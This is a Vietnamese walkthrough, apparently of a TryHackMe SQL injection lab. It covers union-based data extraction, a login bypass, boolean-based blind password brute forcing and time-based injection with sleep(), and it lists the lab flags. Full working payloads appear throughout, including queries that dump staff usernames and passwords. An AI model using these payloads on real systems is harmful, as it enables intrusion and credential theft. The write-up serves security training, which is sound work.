Union-based

Approach

Giả sử đường dẫn của một article nào đó là:

https://website.thm/article?id=1

Kết quả hiển thị ra của trang web là:

My First Article
Article ID: 1
 
Hi and welcome to my very first article for my new website......

Number of Columns in the Query

Trước tiên, ta cần thử thêm dấu ' phía sau số 1.

Trang web hiển thị lỗi như sau:

SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Dựa trên lỗi này giúp, ta có thể dễ dàng thực hiện SQL injection hơn.

Tiếp đến ta thử sử dụng UNION để truy vấn ra một dữ liệu bất kỳ, chẳng hạn số 1:

1 UNION SELECT 1

Lỗi sẽ có dạng:

SQLSTATE[21000]: Cardinality violation: 1222 The used SELECT statements have a different number of columns

Ta biết được rằng, số cột của hai bảng là khác nhau. Hay nói cách khác, bảng đang được trang web truy vấn có số cột khác 1.

Ta tiếp tục thử với 1 UNION SELECT 1,2 thì vẫn lỗi. Đến khi 1 UNION SELECT 1,2,3 thì hết lỗi và nhận được article.

Database Information

Từ đây, để có thể lấy ra những dữ liệu mà ta muốn mà không phải là một article, ta cần tạo ra một câu truy vấn không có kết quả:

0 UNION SELECT 1,2,3

Lúc này, kết quả của trang web là:

2
Article ID: 1
 
3

Có thể thấy, cột thứ 1 sẽ là ID của article, cột thứ 2 sẽ là tiêu đề và cột thứ 3 sẽ là nội dung của article. Ta có thể thay giá trị cần truy vấn của cột thứ 3 để thu được những dữ liệu mà ta muốn, chẳng hạn như:

0 UNION SELECT 1,2,database()

Kết quả là:

2
Article ID: 1
 
sqli_one

Như vậy, ta đã biết được tên của database là sqli_one.

Câu truy vấn dưới đây cho phép ta lấy ra danh sách các bảng có trong database:

group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'

Lý giải một chút:

  • Hàm group_concat nối các giá trị của một cột lại thành một chuỗi duy nhất, cách nhau bởi dấu phẩy 1.
  • Database information_schema là một metadata database có thể được truy cập bởi tất cả người dùng. Bảng tables của information_schema chứa danh sách tất cả các bảng.
  • Trong câu truy vấn trên, ta lấy ra danh sách các bảng có trong database sqli_one.

Kết quả thu được là:

2
Article ID: 1
 
article,staff_users

Như vậy, database có hai bảng là articlestaff_users 👀.

Desired Information

Tiếp tục dùng database information_schema để lấy ra các cột có trong bảng staff_users:

group_concat(column_name) FROM information_schema.columns WHERE table_name = 'staff_users'

Kết quả:

2
Article ID: 1
 
id,username,password

Cuối cùng, dùng hàm group_concat để lấy ra username và password:

group_concat(username,':',password SEPARATOR '<br>') FROM staff_users

Có thể thấy, ta dùng dấu : để phân cách giữa usernamepassword. Đồng thời thay đổi ký tự phân cách từ dấu phẩy thành chuỗi <br> (giúp xuống dòng).

Flag

Success

THM{SQL_INJECTION_3840}

Authentication Bypassing

Approach

Câu truy vấn có thể có dạng như sau:

select * from users where username='' and password='' LIMIT 1;

Với hai trường usernamepassword có giá trị được lấy từ form đăng nhập.

Bản chất của việc đăng nhập là server sẽ truy vấn xem có tồn tại một record nào đó trong bảng tài khoản match với username và password mà người dùng nhập vào hay không. Nếu câu truy vấn này trả về kết quả rỗng thì đồng nghĩa với việc đăng nhập không thành công.

Tuy nhiên, ta vẫn có thể khiến câu truy vấn này luôn đúng bằng cách thêm vào chuỗi sau:

' OR 1=1;--

Khi đó, câu truy vấn trở thành:

select * from users where username='' and password='' OR 1=1;--' LIMIT 1;

Có thể thấy, câu truy vấn này luôn đúng bởi vì OR 1 = 1.

Flag

Success

THM{SQL_INJECTION_9581}

Brute Forcing

Approach

Trong trường hợp khác, có thể ta cần phải truy vấn được cả cặp username/password thay vì chỉ bypass authentication.

Đường dẫn của request có dạng như sau:

https://website.thm/checkuser?username=admin

Response trả về là:

{"taken":true}

API này giả lập chức năng thông báo cho biết rằng tên tài khoản đã tồn tại hay chưa của các form đăng ký. Cấu trúc câu truy vấn có thể là:

select * from users where username = '' LIMIT 1;

Thử thay admin thành admin123 thì kết quả là:

{"taken":false}

Thử thêm vào chuỗi admin123' UNION SELECT 1;-- vào input của username thì ta kết quả vẫn là false. Ta dự đoán rằng có thể số cột trong bảng users khác 1 do đó tiếp tục thử tăng số cột của câu query sau UNION đến khi kết quả trả về là true.

Cụ thể, nếu dùng admin123' UNION SELECT 1,2,3;-- thì kết quả trả về sẽ là true.

Database Name

Bước tiếp theo, ta cần tìm được tên của database, sử dụng câu truy vấn như sau:

UNION SELECT 1,2,2 where database() LIKE '%';--

Kết quả trả về vẫn là true bởi vì ký tự % có nghĩa là match tất cả các tên database.

Thử đổi thành a% thì kết quả trả về là false, đồng nghĩa với việc ký tự bắt đầu không phải là a. Tiếp tục thử đến khi nào kết quả trả về là true.

Chẳng hạn nếu ta thử s% thì kết quả trả về là true. Ta kết luận tên database bắt đầu bằng chữ s.

UNION SELECT 1,2,2 where database() like 's%';--

Sau khi có được một ký tự thì ta tìm tiếp các ký tự còn lại, ký tự có thể là chữ cái, số hoặc các ký tự đặc biệt. Cuối cùng, ta tìm được tên của database là sqli_three.

Table

Theo một cách tương tự, ta cũng dò từng ký tự để tìm tên của bảng:

UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'a%';--

Sau một hồi thử và sai, ta tìm được tên bảng là users (thật ra có thể dùng luôn chuỗi users thay vì dò từng ký tự):

UNION SELECT 1,2,3 FROM information_schema.tables WHERE table_schema = 'sqli_three' and table_name like 'users';--

Columns

Kế đến ta sẽ dò tên cột, payload như sau:

UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema='sqli_three' and table_name='users' and column_name like 'a%';--

Mỗi khi ta tìm được một cột thì ta sẽ bỏ qua nó trong câu truy vấn. Chẳng hạn nếu ta tìm được cột có tên là id thì ta sẽ bỏ qua cột này như sau:

UNION SELECT 1,2,3 FROM information_schema.columns WHERE table_schema='sqli_three' and table_name='users' and column_name like 'a%' and column_name != 'id';--

Lặp lại quá trình này ba lần, ta thu được ba cột là id, usernamepassword.

Password

Ta đã biết được rằng có một tài khoản tên là admin nên ta có thể skip qua bước dò username. Việc cần làm bây giờ chính là dò mật khẩu.

UNION SELECT 1,2,3 FROM users WHERE username='admin' and password like 'a%

Sau khi dò từng ký tự, mỗi ký tự dò từ 1 - 9 thì ta thu được mật khẩu của admin3845.

Đăng nhập vào và ta thu được flag.

Flag

Success

THM{SQL_INJECTION_1093}

Time-based

Approach

Request có dạng như sau:

https://website.thm/analytics?referrer=tryhackme.com

Thử thay đổi giá trị input thành:

' UNION SELECT 1;--

Thì ta không nhận được bất cứ thứ gì trả về.

Để nhận biết được kết quả của câu truy vấn, ta có thể dùng hàm sleep để tạo ra một khoảng delay nhất định.

Hàm sleep chỉ được thực thi khi câu truy vấn UNION SELECT được thực hiện thành công.

' UNION SELECT sleep(1), 2;--

Khi thực thi câu truy vấn trên, nếu có xảy ra delay thì ta biết được rằng bảng đang được server truy vấn có 2 cột. Ta cũng tiến hành các bước tương tự như trong boolean-based để khai thác.

Thu được mật khẩu của admin4961.

Flag

Success

THM{SQL_INJECTION_MASTER}

Resources

Footnotes

  1. Minh họa cho hàm group_concat: